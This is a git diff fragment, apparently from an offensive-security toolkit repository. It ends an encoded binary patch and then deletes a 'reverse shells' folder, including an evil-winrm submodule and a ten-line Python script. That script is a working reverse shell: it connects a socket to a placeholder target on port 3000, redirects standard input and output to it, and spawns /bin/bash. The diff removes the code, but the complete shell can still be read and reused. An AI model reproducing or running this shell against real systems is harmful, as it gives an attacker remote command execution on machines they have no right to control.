zTHaE)mHL#ohlAEq-dXdx{_CyzZ0`}8-%9dFXg)j+4&fQ(5W`(R}vD1DenI_K23Ve;evWywdC>hF7xBG3AhjX(bh z{B>gs{4+fM`NpqkKUeO%-&yyyztH#vmtc z@B4h>{>Crg{y;uo+O_Zc;cNd0<5#pVpYN=`ul?1=uV_Ck-+nj#zV;t9entE8`N}$e zv`?-M^Fen$L~xS6<>SYt04kL`&&5_cu;No+!FMQl&( zOzc4niT#O(5{D6wCXOJEC7wc@L_C#v7I6;oBI2dQMZ_h<>xefJb-Px<_Y!qH9)+JJ zzDj(9sN?%D_+#Q1#LYwY=wux+bxyy!Ejwz>)iz&L3slh3>v`^E1JQVz-{40a7TD4d;q)x?gg)g z2f+8jhry4)N5LK8;c$I;B-{-i1Gj-Ez_sBia0qwo#0yVw`^4=p=exPxvDOv8{6Ahc z-6s3zXJYkL!nKJz5bF~)-xnL2yvjOw(__-!?Zo?tm3dnJEcq`H-z4h#PYiE1{EOkb zk4t~l-^;MBZ^ioLG>AL%-|mx=`{g>uotN_2W4dKkj~zB2F=Fk)`|<;Sc<`mRooYN^ za>DeEYesF&oq7JHe|YP-w!HWqTYuc^6W%@Udez^L7`pn(> z_O$mGoV{;{nb*{6Qg8bcYn!SPIM(68!72!wt3*U5E6-!w0 zGI`Z9{+{;h|3liZ{|`9;@7lLeu=A}ecAo`M-p~4+SM}u#vH6zW=LWjZT2Q|>e(fsy zgJRe9U;X;{^{eO~X8aI8#9yQrG;y9=!sL6!H}|>A>Gs#HmhE4+TDCu5k(#{H?bmps z@fY1L{-WE(-?I{byz%q+dHjz0K@QXtn)=-5-nqW$_yrG2`T044Kv~w mZu|8*P1mbm_}^$G*X20JE$Ok7HS)dQgVO%&^h)y6tNs_M^wIYK diff --git a/reverse shells/sock_shell.py b/reverse shells/sock_shell.py deleted file mode 100644 index effe269..0000000 --- a/reverse shells/sock_shell.py +++ /dev/null @@ -1,10 +0,0 @@ -import os -import socket -import subprocess - -s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -s.connect(("#Target", 3000)) -os.dup2(s.fileno(), 0) -os.dup2(s.fileno(), 1) -os.dup2(s.fileno(), 2) -import pty;pty.spawn("/bin/bash") diff --git a/reverse shells/windows/evil-winrm b/reverse shells/windows/evil-winrm deleted file mode 160000 index 381b126..0000000 --- a/reverse shells/windows/evil-winrm +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 381b126d6a8dc3ca38f7fab73cb80175fcbe8d45